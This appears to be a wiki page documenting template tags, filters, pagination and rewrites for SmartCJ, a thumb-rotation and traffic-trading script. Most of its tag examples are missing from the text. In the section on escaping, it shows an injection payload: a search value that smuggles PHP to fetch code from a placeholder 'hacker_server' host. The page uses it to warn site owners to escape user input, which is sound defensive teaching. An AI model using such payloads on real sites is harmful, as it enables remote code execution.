====== New Rotation Templates ====== The template is standard HTML with special tags indicating where and how to display thumbs. Templates are stored in the database, the results are cached for the time specified by you in the settings, either in the template settings or directly in the tag. Template editing includes cols & rows fields. These fields do not affect rotation itself; they are only used to make cell statistics easier to review in [[Cell Stats]]. The name of the template has nothing to do with what tags can be used there, for example, the category is displayed by default using the content_list template, but you can add &force_template=... to the category rewrite and display it using any template. All templates must have at least one subtemplate. A subtemplate defines how each thumb is displayed. For example: There can be any number of subtemplates. Note that: 1. Physically, the path /gallery//index.html does not exist on the server. Pages are generated on the fly when requested, and this URL exists because of rewrites. [[New Rotation FAQ]] 2. In this example, the script counts clicks using the parameter, but this parameter is optional because the new version can count clicks without it. [[Rotation Parameter]] Places to output thumbs in the template are specified as follows. For example, - display thumb number 1 here using the default subtemplate if you do not specify a subtemplate, the default subtemplate will be used equals You can specify numeric ranges, for example This will display the first 5 thumbs. You can also specify filters directly in the tag. Basic example: assume we have an index template with no filters by default, and we write then you will get the first 10 thumbs by CTR from all categories. To filter by sponsor: If the sponsor name contains spaces, use quotes. You can also filter by one ID or by several IDs. This will display the first 10 thumbs for the selected sponsor. In the same way, you can specify a group (category): You can filter by category name, by category ID, or exclude categories with skip_category. Sorting: And content type limitation: This will display only items with the image content type (it can also be movie, which outputs both movies and flash; flash, which outputs flash only; movie_only, which outputs movies only). And of course they can be combined, for example Please note that the subtemplate can be specified directly in the main template, which is often very convenient, for example <--- this is the subtemplate One important detail about these tag filters is that they are applied in addition to any filters already present in the request. For example, the category page /category/super_name/ is rewritten as /?category_name=super_name. By default, the template contains only Since the request already contains the category_name filter, thumbs from the super_name group will still be displayed even though the this tag will apply two filters at once: thumbs from the super_name group that also belong to sponsor ID 5. If you need to override the group that came from the URL, then you must specify the group explicitly in the tag: **Subtemplates** As a quick reminder: will display thumbs using the default subtemplate, but you can specify a different subtemplate or by entering the subtemplate directly in the tag: img src= If there is no default subtemplate and no subtemplate is specified anywhere, which subtemplate should be used to display thumbs? **Duration limitation**
This is equivalent to having the following in the template
with the URL domain/scj/tube/?duration_min=10&duration_max=90 Parameters can be passed in any supported way: http://smartcj.com/wiki/doku.php?id=new_rotation_hints#setting_get_parameters **Limitation by group ID** The skip_category_id parameter can be passed either in the URL or in the tag. It simply excludes thumbs from the specified groups. **Limitation by sponsor** ... ... ... Include all sites for one sponsor. Sponsors have two fields, Sponsor name and Sponsor Site, so one sponsor can have several sites. In Rotation - Sponsor they are combined in the menu. You can display all sites for one sponsor like this: Exclude sponsors ... ... **Date restriction** &date_start=2012-01-01&date_end=2013-01-02 This will exclude thumbs from the specified time period. You can use one start date and one end date. There are also several presets: &date_limit=today (yesterday, this_week, this_month) - which will automatically substitute the required dates ** And by the duration of the movie (in seconds)** &duration_min=60&duration_max=120 **General tags for templates** name of the current template **Repeatability gallery - allow_dupes** If you conditionally have a tag and you will enter somewhere in the template or , when the tag parameters exactly match, the script will output the same thumb. However, if the tags are different, for example the following tag etc., then when selecting for this tag, the gallery that was found in the first tag will be excluded. This behavior can be avoided by adding to the tag **Num modifiers** Usually the number is set in the ... and we want to mix in as an advertising sponsor. Normally it would look like ... ... ... we need to manually indicate where exactly the gap is in the real thumb and the link to the sponsor. in the new tag it is much more convenient to do this 1. create a subtemplate for example sponsor_thumbs ... 2. write in the page as ... then, out of those 100 thumbs, some random positions will display not ... but whatever is defined in the sponsor_thumbs subtemplate, that is, a link to the sponsor. This makes the sponsor links blend into the page naturally instead of looking out of place. Please note that you can specify several subs, for example inline_thumbs_subtemplate=subtemplate1,subtemplate2, etc., and will take each of the subs in turn. **Inline** also works for modelsb sponsor, search_log



===== Thumb status ===== By default, the script displays only active galleries, but in some cases you may also want to display inactive ones. To do that, use the gallery_status=inactive parameter in the date date_asc duration rating total_shows gallery_id no_order (what the database will output is what it outputs, actually by ID) random , note that random is slow on large databases easy_random - pseudo random, it is recommended to use this option on large databases comments_count - by number of comments (slow on large databases) As noted above, the parameters from the URL go into the tag, unless otherwise specified. The &order=date in the URL is the same as but here we must remember that by default there is no index on these fields, and sorting on large databases by these fields can be slow. If you understand what you are doing, it makes sense to add an index to this field. You can also set a gap for custom fields by adding the words from & to , for example

gallery_id=GET_gal_id here we take the gallery ID from the gal_id parameter from the URL, so if you open the page as domain/?force_template=test&gal_id=12345 then gallery 12345 will be displayed in the first block ===== Cache parameter ===== By default, we cache the site page for the time specified in the settings (Cache time, seconds) by default 600, this means that the page will be generated 1 time and then will be shown in this form for 600 seconds, even if the data changes, this allows you to relieve the server and not generate the page for each visit. Next, you can adjust the cache for each page: in page editing there is also a field Cache time, seconds, this parameter is more important than the general one. But you can regulate even deeper - in a tag, for example if (false === ( $cache_result = Cache::get('cache_name') )) { $cache_result = 'some of your calculations, etc.'; Cache::set('cache_name', $cache_result, cache_time_in_seconds); } display $cache_result (it’s definitely there: either from cache, or calculated if there was no cache) ===== Page main tag ===== Problem: we have some kind of page with 2 tags: tells the script to calculate pagination using this tag. The second problem is show 404 when 0 items. - just filling in meta data and later on the page again the same thumb but a different subtemplate to display the thumb despite the fact that it is displayed 2 times, only 1 impression will be counted. This also works for system thumbs, for example category thumbs. It is useful when you only display a list of categories without outputting a thumb itself, and therefore do not want to add +1 impression to the category thumb.
===== Mobile Templates ===== If you want a separate design for mobile devices, then any template can be duplicated by a template with the same name, but with **mobile_ at the beginning**, and mobile traffic will receive the template with mobile. For example, we have index, mobile_index and content_custom_pic (mobile_content_custom_pic was not created). The mobile surfer came to the index - the mobile_index template will show him. Then he got to the gallery - content_custom_pic will be shown to him, because there is no mobile_content_custom_pic. **NOTE** If for some reason you want to allow the user to disable this functionality, there is a &skip_mobile_templates=yes parameter in which case the script will not substitute mobile templates. If you need to enable the functionality again - skip_mobile_templates=no ===== Related Galleries ===== For a custom gallery it is possible to display related galleries, by default this is a gallery from the same category, but can be changed in the tag Examples some template some template some template some template some template exclude the current gallery from the results These options are more complex (they load the database more) than the options above display in sorting order by the number of matching tags (for example, 4 matching tags is better than 3 matching tags) display in order of sorting by the number of matching groups you can also skip sponsor, for example ... Please note that CURRENT_ITEM_TAG and CURRENT_ITEM_GROUP take a random group\tag for sampling if there are several of them. CURRENT_ITEM_TAGS_COMBINED - takes all tags at once. ====== Special Parameters ====== ===== THIS_CATEGORY_BEST_THUMB_ID ===== By default, a category thumb is the best thumb in that category. But imagine one thumb belongs to 5 categories and is extremely popular. Once it becomes the category thumb for category A, it will no longer be used as the category thumb for category B, to avoid duplicates on the index. As a result, category B may use the second-best thumb by CTR. However, when a surfer opens category B, they may expect to see the strongest thumb first. The displayed tag forces category thumbs to appear first. Test parameter, see how it works for you. ====== Subtemplate tags ====== Things that can be used in subtemplate aka - URL gallery. URL thumb - extra thumb Thumb ID for counting clicks (the so-called rotation parameter; if it is not there, clicks on thumb will not be counted in CTR) Description SEO prominent description gali where DE and IT are language codes if you need to display a slug in another language ID thumb in the database adding time alternative description (title) - first tag - second tag, etc. - display all available tags in a loop - if a gallery has several thumbs for rotation, this tag will display all of them separated by commas (old style ) etc. (old style ) all group variables can also be displayed in the form GROUP_1_group_variable loop through all gallery groups = = - total number of votes , - number of voters 1, 2, etc. , and bitwise 1 - images, 2 movies, 4 - flash. - video preview you can display all gallery models in a loop - thumb ID within the gallery to which the current rotating thumb belongs - number of comments for this video - thumb number in the listing on the page source URL if the gallery was created from something else, for example embed code or content uploaded manually More information about video preview - [[rotation_crop_profiles#video_preview|Video Preview]] For example, imagine you grabbed a gallery with 10 pictures, and 5 of those pictures were added to rotation. Now you want a surfer to go from thumb rotation, for example from a category page, directly to the page with the exact picture behind the selected thumb. Suppose the best rotating thumb is number 3, and that thumb corresponds to picture number 6 inside the custom gallery. In that case, will output 6. The link can look like /gallery//.html, with a rewrite to out.php?url=content&slug=...&item_id=... **Output of category variables** For example, on a category page you may want to display : if the URL is domain.com/category/asd/, the output is obviously asd. But on a gallery page that belongs to three categories, is ambiguous because it is not obvious which category name should be used. In that case, as shown above, you can use tags like and or the Stats -> Links and compare how many clicks each block received. Later, rotation started using this parameter in the form images/12x34x45. That format was chosen so it would not be confused with ordinary tracking values like block1. Links such as images/12x34x45 are not shown in regular link statistics. The URLs looked like /out.php?url=http://gallery/&link=images/12x34x45, and from that the script understood two things: first, that this was a click on a rotating thumb, and second, that this link should be counted only in thumb statistics, not in Trade -> Stats -> Links. After rewrites were added, gallery URLs started to look like /gallery/cool/index.html?images/12x34x45, which was not very pretty, so they shortened it to /gallery/cool/index.html?12x34x45. The images/ part was moved into the rewrite, and that is why the THUMB_LINK tag was added: the script outputs only 12x34x45, while the rewrite restores the full link format. So a URL like /gallery/cool/index.html?12x34x45 is rewritten into something like out.php?link=images/12x34x45&url=content&slug=cool, where link= is still the tracking parameter and url=content&slug=cool tells the script which gallery to load. Because rotation historically uses the &link= tracking parameter, you cannot use that same parameter again for ordinary block tracking on rotating links. That is why the &link2= parameter was added. It has the same meaning as &link= for block tracking, but it allows URLs like out.php?link=images/12x34x45&url=content&slug=cool&link2=block1. ===== category_list separator ===== The , , and tags support an additional parameter: separator. The issue is that if you display groups like this: then you could get something like "category1,category2,category3," the trailing comma looks messy. Now you can do and the output will be "category1,category2,category3" without the trailing comma. ===== category_list ===== Let's imagine that we have 2 main categories: cars (1) and motorcycles (2), and each of them contains subcategories (for example, the colors red, blue, etc.) It turns out that any gallery actually has at least 2 categories, for example “car” and “blue”. We display only cars in the template, for example
In this case, ===== tag_list ===== Templates can iterate over all gallery tags with . additional options order=alphabet, random search="milk" separator="," tag_status=wait \ active **Tag languages** If your site supports multiple languages, tags can be translated accordingly. For example, on the /de page the tags can be displayed in German: Usually tags are linked to a page in the gallery listing by this tag, for example
/'> (other lng and so on) ===== Language Modifiers ===== If you have several languages ​​on your site, then you can access any data in another language by adding ::LNG at the end of the tag, for example on the /de page current page language (in this example will display in German) in the main language (let's say main English) in German in Italian ===== Comments ===== On the gallery page you can display comments about it : And comment pagination ... Options order = date sort = asc\desc (desc by default) ====== Page tags ====== Each page has a number of its own tags. **Relevant for everyone** **For category page** = = total number of galleries in the category **For model page** **For search** **Sponsor page** **For custom gallery** Basically, the same tags that are available inside a subtemplate are also available on a custom gallery page. If thumb 1 has the description “super pic” and that value is displayed in the subtemplate with , then the same tag will output the same value on the custom gallery page. The same applies to tags by sponsor; if sponsor is 1, then all sponsor tags, for example , will display data for this sponsor. But there are several tags that are relevant specifically for custom gallery pages. **For embed gallery the same applies** **Relevant for flv gallery** **For picture\movie galleries**
Can be limited by content type movie, flash (although flash is mostly only relevant for older sites now)
The old version of content output is supported, but it is better to use the one indicated above URL of the first large image URL first thumb according to dimensions IMG_2_ IMG_3... and so on Please note: starting from version 49, content inside a custom gallery is split by content type, so you can create mixed custom galleries, for example with both pictures and movies. For the first image it will be For the first movie it will be For the first flash item it will be and also - all text from the gallery that was used to create this custom gallery. You can edit this text in Edit any gallery. And common variables for a custom gallery as well as an example of checking the presence of a picture ') { ?> For comments : For single_page_item ====== Tag prefix ====== There are prefixes for standard modifications of variables. For example, you want to do '); ?> If there is a quotation mark in the description, then such code in your template will generate an error. For example, the description "tom's dinner" turns out to be As it is not difficult to notice, there is a problem with quotation marks. To avoid this you need to use prefixes for example **'); ?> It looks like replacing a regular tag with a tag with a prefix For example, this is how becomes and so on with all tags. In our example, the tag will be replaced with "tom\'s dinner", the code will be which will be executed without errors. Currently the following prefixes exist: **1. Escaping quotes** For example, this is how becomes and so on with all tags. **2. HTMLENTITY to replace html special characters such as & with &** '&' (ampersand) becomes '&' '"' (double quote) becomes '"' when ENT_NOQUOTES is not set. ''' (single quote) becomes ''' only when ENT_QUOTES is set. '<' (less than) becomes '<' '>' (greater than) becomes '>' For example, this is how becomes and so on with all tags. **3. URLENCODE for special characters in the URL, such as space, +, etc. ** For example, becomes and so on with all tags. Actually http://www.php.net/manual/en/function.urlencode.php **4. RAWURLENCODE for special characters in the URL, for example space at %20, etc. ** For example, becomes and so on with all tags. Actually http://www.php.net/manual/en/function.rawurlencode.php And there is also . Combined with **5. STRIP_SPECIAL_CHARS_ to remove all special characters !$@, etc. ** Currently replace looks like trim(preg_replace('|[\\\,\|\,<\.>\/\?;:\'\"\[\{\]\}\`~@#\$%\^&\*\(\)\-_=\+]*|i', ​​"", $var)) For example **6. URLSAFE_ ** replaces spaces and other things with dashes to make the URL look better ** More ** UPPERCASE_ - all in capital letters LOWERCASE_ - all in small letters UCFIRST_ the first letter in the sentence is capital CUT20_ - trim leaving only the first 20 characters WORDCUT20_ - trim leaving only the first 20 characters, taking into account the end of words, they do not cut off the word in half ====== Tag prefix - why important ====== As you probably know, templates can contain PHP code. There is no need to cover every PHP edge case here, but one simple example is enough. Suppose you want to output the description tag in uppercase. In PHP that looks like this: change to ')?> However, there is one important caveat here: if the description contains a quotation mark, you will end up with something like , which breaks the string and causes a PHP error. So this direct approach is safe only if you are sure the value cannot contain quotes. In all other cases, use the prefixes described in [[new_rotation_templates#tag_prefix]] An example with would look like: ')?> **Example with SEARCH_QUERY** The user is looking for /?search=boy's girl For example, you have Search was ')?> it turns out the code Search was which crashes with an error it’s even worse if the URL contains a hacking code, for example /?search=' . file_get_contents("http://hacker_server/some_code.php") and it is executed in your template. Therefore, it is very important to escape all user input Search was ')?> ====== Pagination ====== Since there are usually many thumbs, you need page navigation. For example:
  • * skip_href_deletion=true By default the script deletes an href from the current page, with this option it will not delete. * active_link_style=act_pg and link_style=not_act_page sets the appropriate styles for the active and inactive pages * max_pages limit the maximum number of pages. It’s useful if you have a very large database; real people still don’t go to the very end. For example, our navigation code is like this:
  • Assume you are on page 2 and there are 3 pages total. the script will output:
  • 1
  • 2
  • 3
  • without skip_href_deletion=true it would look like this
  • 1
  • 2
  • 3
  • more examples: 1. explicitly setting the style attribute to html tags Assume you are on page 2 and there are 3 pages total:
  • the script will output:
  • 1
  • 2
  • 3
  • 2. setting the values ​​of data attributes depending on the current page:
  • for a request ?page=**2** will generate HTML markup like:
  • 1
  • 2
  • 3
  • 3. setting a separate css class for the current page: for a request ?page=**3** will generate HTML markup like:
  • 1
  • 2
  • 3
  • 4. setting a separate css class for the current page with tag replacement: for a request ?page=**2** will generate HTML markup like:
  • 1
  • 2
  • 3
  • **List all the pages** If you need to display all pagination pages ... ... ... ... Please note that pagination shows pages for thumb rotation. For category thumbs, since their number is usually fixed, there is no point in recalculating them every time you create pages. Therefore, if you need pagination for category thumbs, then the best way to do it is like this Here you need to pay attention: this will display the categories taking into account the current page, because by default on any page you still want to see the top categories. adding links etc. I think it’s not difficult to calculate how many links you need depending on the number of categories you have. And we get navigation for categories. ====== Category Thumbs ====== The script automatically creates category thumbs, which by default are equal to the best thumb from each category. There may be 2 sets of category thumbs. Configured in Rotation - Tube - Settings. To display a list of categories
  • () ()
  • Parameters: * num which numbers to display (in this example, from 1st to 5th from the list). * min_gallery_count limit on the number of galleries in a category * set - select a set of category thumbs, default is 1, but you can make set=2 for example * first_letter=... displays categories starting with such and such a letter, # - starts with a number * custom_name_first_letter = ... displaying categories whose custom name begins with such and such a letter * category_custom_var1 category_custom_var2 category_custom_var3 - by custom fields * filter_field= and immediately filter_value - unified for the above, for example filter_field=custom_name filter_value=GET_somevar where GET_somevar is somevar taken from the URL* sort_field = sort by a specific field (category_name, category_custom_name, category_custom_var1 (2, 3) ) * sort_order - relative to sort_field (asc, desc) * order - sorting the list of categories alphabetically (alphabet), by popularity (clicks), number of gallery (total_items), randomly (random) Technically, you can sort by any field from the array of each category, but here is a list of those sorts that may be useful except for the 2 most used category_custom_name, category_description, category_id, category_custom_var1, category_custom_var2, category_custom_var3 * parent_id = Parent group ID * name="cat1,cat2" category name * category_id= Category ID Additional tags for the list of categories: * - top category thumb, separated by commas, this data can be processed in the template as you need. ===== Category Pagination ===== By default, if we display categories, then on all pages we should display just a list of categories without shift, if you have a page header for example (here you need to add adjust_num_to_page) And to this you can add pagination specifically for category thumbs (note the type=pagination parameter) (categories total = ) ... Previous and next pages prev = Next = Here you should pay attention everywhere that the tags are almost the same, but if you have only 100 categories then Next = will print next on the 4th page, and if you do Next = then there will be no next on the 4th page. ====== adjust_num_to_page ====== By default, category thumbs and models are displayed without &page= in the URL, for example, you have an index template then on the first page it will display the first 10 categories and the first 10 thumbs. On the second page there will again be the first 10 categories, but the thumb will already have 11 - 20. This was done at one time because in most cases there is no need to “move” the list of categories across pages, otherwise, for example, on the 5th page there would no longer be a list of categories. But there are options when you still need to “move” the list of categories across pages. In this case, the adjust_num_to_page=true parameter is useful, for example in this case, categories 11-20 will be displayed on the 2nd page ====== Language list ====== You can list available translations using the tag .. ...
    ====== Include template ====== You can connect any template, for example, place the site header in the header template and, in order not to duplicate the beginning of each page, connect it in the desired template Similarly, you can connect any other template. ====== INCLUDE_FILE ====== Templates often include external files, for example, a piece of code with an exchange of links, which often happens even on another domain\server. This can be done via it's practically analogous The difference is that in the first option the file is included once and placed in the cache. In the 2nd option, the file is included every time the page is loaded. In principle, for local files we can say that there is no difference. If the file is on a remote server, then you need to do this: **DO NOT** do this To make it easier to transfer templates between domains, you can use the option where BASE_DIR is taken from common.php and, accordingly, is different for each domain. ====== Tag Cloud ====== You can also limit the number of tags and sort by the number of gallery in the tag Other tag parameters gallery_count_min - minimum number of galleries to display first_letter - tag starts with this letter filter - the tag contains this word, in addition you can use filter_type = exact_search for exact match filter_type = fulltext_search - if FULLTEXT index is added status=all by default Output of the best thumb for a given tag and then you can add any tags specific to thumb, for example which will display the best thumb for this tag By default, the selection of the best thumb for each tag is disabled as this loads the server to a certain extent. The settings are located in Rotation - Tube - Settings. ====== Model List ====== You can display all available models available parameters for model tag models with "a" only minimum 20 gallery sort by quantity gallery sorting by average CTR of all gallery models - CTR thumb displays only those models that have a photo (uploaded manually) displays only those models that have automatically selected model thumb (selected in Rotation Settings - model thumbs) filter by custom var1 (model_custom_var1="asd" ) output of those whose customware is not empty ===== Model Thumbs ===== There are 2 options for model images: model photos added in the admin panel, and model thumbs. Just like tag thumbs, the script can automatically select the best thumb for each model. This is enabled in Rotation - Settings - System Thumbs and is disabled by default to avoid extra load. **model thumbs** which will display the best thumb for the model. Example rewrite for models RewriteCond %{QUERY_STRING} ^(.+)$ RewriteRule ^model/(.*)/$ \ /scj/cgi/out.php?link=images/%{QUERY_STRING}&url=content&p=100\ &skip_to_cookie=true&skip_sell=true&model_slug=$1\ &force_template=model_galleries [L] RewriteRule ^model/(.*)/$ /scj/tube/?model_slug=$1&force_template=model_galleries [L] Display model thumbs (gallery_count_min=1 was added to display only those models for which model thumbs could be created, and for this you need at least one gallery for the model)
    ===== Model Photos ===== Models can also have their own photos. These are the model photos added in the admin panel, not gallery thumbs where this model appears. Photo output:
    ===== Model Pagination ===== You can add pagination for models ( )
    ====== Sponsors List ====== You can also display a list of sponsors. Options order= alphabet, ctr, sponsor_name, count_galleries ===== Sponsor URLS ===== In Rotation - Sponsors, you can define several URLs for each sponsor: site_url, trial_url, and join_url. On the gallery page, you can output these URLs with the appropriate tags. However, that means the surfer will see the sponsor URL together with your ref link, and the resulting URL is not always very clean. By default, the script includes a rewrite like http://domain/go//, which sends the visitor to the URL specified in site_url. Can be added to rewrite RewriteRule ^go/(.*)/(.*)/$ /scj/tube/?action=sponsor&sponsor_slug=$1&field=$2 [L] and use URL http://domain/go//trial_url/ http://domain/go//join_url/ to send to other sponsor URLs. ====== Search log ====== If you have a search form on your site (domain/?search=...), then all search queries are logged, and later you can display a log of these queries. But you can also display a log of these requests on any page, for example Please note that when logging search queries, the field from the Banned words setting is also taken into account and if someone searches for a word from the list, it will not be logged. ........ order=hits - can also be alphabet, date, if not specified, sort by number of hits. sort=ASC (DESC) in addition to the tags above to sort in a different order date_limit=today - can also be yesterday, this_week, this_month date_start=date date_end=date min_results= where there were more than X results from the search results min_hits= this has been searched at least X times search= filter search queries for this word there is "syntactic sugar" search= CURRENT_CATEGORY_NAME or CURRENT_TAG_NAME which is the same as search=GET_category_name and search=GET_tag_name (we take search words from the URL) exclude_search_query= exclude from results 99% will exclude_search_query=GET_search - those excluding the current request When a user searches on the site, we log the query itself, for example “car”, along with the gallery ID that was first for that query. This means we can display not only the search phrases themselves, but also the gallery thumb associated with them. For example: Best gallery: etc. gallery data, which was the first for this request You can specify not to save search queries to the log for this request ====== Search log : allow_dupes ====== each search remembers the first gallery based on the results of this search, you can display it as - Best gallery: however, there is a possibility that for different searches the first gallery will be the same gallery, so by default it does not display duplicates. If you display only the search phrase, without gallery, then such duplication is not important to you and you can do it ====== Related Search log ====== For example, a user searched for “car” on our website, and then searched for “gasoline” or “trailer”; these are related search queries. If we remember this, we will be able to display such queries in the future, for example, the user searches for “car”, and we also display “maybe you also want to see the results for gasoline and trailer.” For tracking, you need to change the links on the site so that the search query looks like /?search=....&ref_search_query=... where ref_search_query= is the previous query. For example, in the search form
    to then display related queries
    That is, in ref_search_query we look for records that match GET_search. ====== Search log - approved ====== By default, all search queries are saved to the database and marked as new. Also, by default, the and will display only those search phrases that you approved in the admin panel. ====== Syntactic Sugar ====== For convenience, you can use “syntactic sugar” in macros, for example ........ this syntactic sugar works in all tags currently added CURRENT_CATEGORY_NAME CURRENT_TAG_NAME It is planned to add all the data, if you need something more, write on the forum and it will be added. ===== Search log pagination===== Solved by adding type=pagination to the tag Please note that the pagination tag must be the same as the "main" tag, for example the main tag
    you can filter it taking into account the current search For example, a surfer is looking for domain.com/?search=test, in our template thumb output for search results and output of search queries where GET_search is the search parameter from GET (those URLs) **Filtering note** By default, MySQL searches by full phrase. For example, if the query is "test car", it will filter by the full occurrence. In that case, a phrase like “test bus” will not be shown. If you use MySQL 5.6 or newer, the field is automatically converted to full-text search, and then you do not need to do anything special: the script will automatically search by individual words, so “test bus” will also be included in the results. But if you have mysql up to 5.6 OR the number of search queries is very large (100k+), then you need to use sphinx for search. We index search queries (see Sphinx wiki article) and set Sphinx Search Log Index in settings. By default, Sphinx also searches for complete occurrences, but you can assign the flag Sphinx Search Mod = SPH_MATCH_ANY to it and it will search even for one word. ===== Search query limit ===== There may be a lot of options for limiting search on a site, for example /?search=... could turn into /?search=...&category_id=.. or /?search=...&tag=.. and so on, the options can be different and combined, so the free parameter &search_query_limit has been added For example, we are searching for the group teen. Add search_query_limit=teen to the URL, for example /?search=...&category_name=teen&search_query_limit=teen and for example search simply without limit by group /?search=....&search_query_limit=empty when outputting , if we want to display searches only that were in the group teen then (and we remember that there was search_query_limit=teen) You can substitute &search_query_limit depending on how you want to filter queries later. And of course we remember that this can be made dynamic if we take the parameter from the URL **Language search** Similarly, you can divide the search by language so that it can be displayed in the corresponding languages. The script itself does not determine what language a particular sentence is written in, but this can be taken from the URL, for example, add a parameter with the current language &search_query_limit=lng_en to the search bar domain/?search=test&force_lng=en&search_query_limit=lng_en domain/?search=test1&force_lng=en&search_query_limit=lng_en domain/?search=blabla&force_lng=de&search_query_limit=lng_de domain/?search=blabla2&force_lng=de&search_query_limit=lng_de Thus, in our database for each search it will be noted in what language it was made. Adding a parameter is easy right in the template, for example In the template we add and open the page as domain/?your_param=lng_en, we should get test,test1 maybe they are marked lng_en Please note that you can manually add searches to the database (Add Search requests) in the format "search_query|search_query_limit" and immediately specify search_query_limit ====== Toplist ====== A familiar scheme for many is a toplist of traders in a separate file and included in the template. It’s better to skip the moment of creating a separate file and add top traders directly to the template, and you can, for example, mix them in. trader thumb 2 more trader thumbs, etc. This way you don’t have to make a dedicated toplist and even set it to 100. Previously, if you wanted to show 1 or 2 trader thumbs, you had to create many separate top templates and include them in the right place. Now traders can be displayed directly in the template in the required quantity. You can specify a random number of thumbs, for example will bring out 3 traders who are somewhere in positions between 1 and 10 Total inside the number in the top - domain = and so on if you have more than one thumb for each trader pers dex for group - individual trader descriptions by groups (in editing a trade) There is one small detail about per-group descriptions. Suppose trader A belongs to group 1. The trader’s regular description is “test”, while the description for group 1 is “super test”. If we output the macro this displays all traders, including trader A. Since no group is specified here, will display “test”. But if a group is specified in the macro, for example then will output "super test". Possible parameters for the tag num = trader number, there can be a range for example 1-5 order = sorting, options uniques, raws, priority, clicks, random by default - uniques. group= group of traders skip_group= skip group unique_hits_limit=2-100 - limit on the number of hits of traders The priority sorting option is mainly useful for trading: traders that should receive traffic first will appear higher in the template. **Blocked countries** If you have some countries blocked for a trader (conditionally, do not send IN to a domain.com trader), then it is logical not to display this trader in the top traders for traffic from India. To do this, you need to add to the tag This slightly increases the load because for each hit you need to check what to output, on the other hand, it distributes traffic more correctly. **Trader thumbs** By default, trader thumbs are created in scj/top/tt (can be changed in settings) in the form trader.com.jpg. In fact, you don’t even need (it’s just syntactic sugar), you can simply output .jpg If you specified a trader URL by category, then the thumb name will be created using the pattern trader.com.CATEGORY_NAME.jpg, for example trader.com.teen.jpg. To display it, you can use .category.jpg ===== Trader CRC ===== Option to hide a domain in a link, for example
    That means the domain will not be visible in the link. ====== Rotation Settings ====== All rotation settings are available in templates like for example Variable names can be seen in the admin panel in the field names (F12 in the browser) ====== Default templates ====== By default, the script has preset templates. In most cases, their names and descriptions are clear. These templates are not deleted from the admin panel. so as not to delete anything accidentally. content_single_item is a template for displaying a large image with a pixel galley on a separate page. ====== Custom Templates ====== You can add an unlimited number of your templates and call them using ?force_template=... For example, you want a separate design for your trd.com trader First, we create the trd_personal template and in it we create a template specifically for this trader. Here are some options on how you can do this. The meaning of all these operations is the same - pass the parameter force_template= **1.** trader can send to URL http://your_domain.com/?force_template=trd_personal **2.** you can create a file your_domain.com/t.php with the following content and register this t.php as a personal page for the trader. **3.** in your_domain.com/common.php add a line like after ====== Custom gallery - antibot question ====== By default, captcha is used to protect comments on custom galleries from spam. There is now a second option: , which takes questions from the trader signup questions in Settings - Cjsettings - wm signup. This is useful because the smartcj.com forum used to get a lot of spam: standard captchas have long been solved automatically, while a question is much harder to solve automatically. The result was that roughly 99% of the spam disappeared. ====== Tag Processing ====== Tags are processed first, and PHP is executed afterward. For example, suppose you have the following markup: This means it will first expand into slug1 slug2 slug3 slug4 slug5 and only then will PHP be executed. This also means that you can’t put PHP into the tag itself, for example because tags are processed before PHP. Data can be passed into a tag, for example from URL GET_ variables or predefined vars such as CURRENT_ITEM_... ====== Global Custom Vars ====== It is often convenient to have global replacements available in all templates, for example banner slots or link-exchange blocks. For that, use **Rotation - Tube - Tpl Custom Vars**. Variables added there are available in any template. For example, if you add **my_var1**, it becomes available as ****. This is useful when you want to change something like a banner across all templates at once. A custom variable can also be translated for each language. For example, you have a main language (in which you add content) and you have added as many languages ​​as necessary in Rotation Settings - Multilingual. Now the variable is different for each language; if there is no translation for a specific language, then the main one will be used. **Mobile** You can change a custom variable for mobile users by adding _MOBILE For example, assume you have a template variable MY_VAR, which is output as . You can add MY_VAR_MOBILE, and when the page is opened on a mobile device, the tag will output the value of MY_VAR_MOBILE instead of MY_VAR. **Translation** You can quickly translate from the primary language to a secondary language. In **Translation [+]**, select which variables should be translated and specify the translation URL, for example: external::http://your_domain/scj/bin/rotation.php ?action=translate_text &text={MAIN_VALUE} &source_lng=en &target_lng={TRANSLATION_LNG} &api_key=... The default option is Google Translate. Pay attention to these parameters: &source_lng=en - main language api_key - API key from Google You can replace Google with any translation service you prefer. During translation, the script replaces {MAIN_VALUE} with the actual source text and {TRANSLATION_LNG} with the target language name, for example it. ====== Mobile templates and Mobile Custom Vars ====== There are 3 main approaches to templates for mobile users. Goal: display banner_1 on desktop and banner_2 on mobile. **Option 0** Hopefully this approach is no longer used, but for completeness: create two templates, index and mobile_index, and place the banner directly in the HTML of each template. If that banner appears on more than one page, editing it means touching every page manually. **Option 1** Create 2 custom variables, for example banner_1 (will be displayed as ) and banner_2 (will be displayed as ) Create two templates, index and mobile_index, and use the appropriate variable in each. This approach makes sense if your mobile template is radically different from the desktop one. **Option 2** Recommended approach: Create two custom variables, for example banner (displayed as ) and banner_mobile (it can also be displayed as , although that usually is not needed). In the index template, add only in the required place. For mobile users it will automatically output banner_mobile. This is the preferred approach because templates are generally expected to adapt to the device width. ====== Developer mode ====== Templates are stored in the database, but some users prefer editing them over FTP rather than through the admin panel. For that case, there is Developer Mode: you can upload a template to scj/tube/default_templates as template_name.tpl, for example content_page.tpl or index.tpl. Each time the script starts, it checks that directory and, if templates are found there, updates the database from those files. After all the templates are configured, it makes sense to disable it so that the script does not do unnecessary checks = saving server resources. ====== User Thumbs ====== Often, many thumbs from one video are needed not for rotation and selecting the best thumb, but for thumb rolling, that is, when the picture changes as the user hovers over the thumb. In that case, there is usually not enough traffic to rotate so many thumbs, and storing every thumb in the database would only make it larger and heavier. When content is grabbed, the script can save user thumbs only to disk in /thumb/user_thumbs/gallery_id/. For example, we decided that each gallery would have 10 thumbs for rolling **Work options in this case:** **1. if we have thumb ready, then we import it as** video_url|thumbs|user_thumbs thumbs are the thumbs that will take part in rotation and be stored in the database, while user_thumbs are downloaded and saved only to disk and are not added to the database. we write in the template
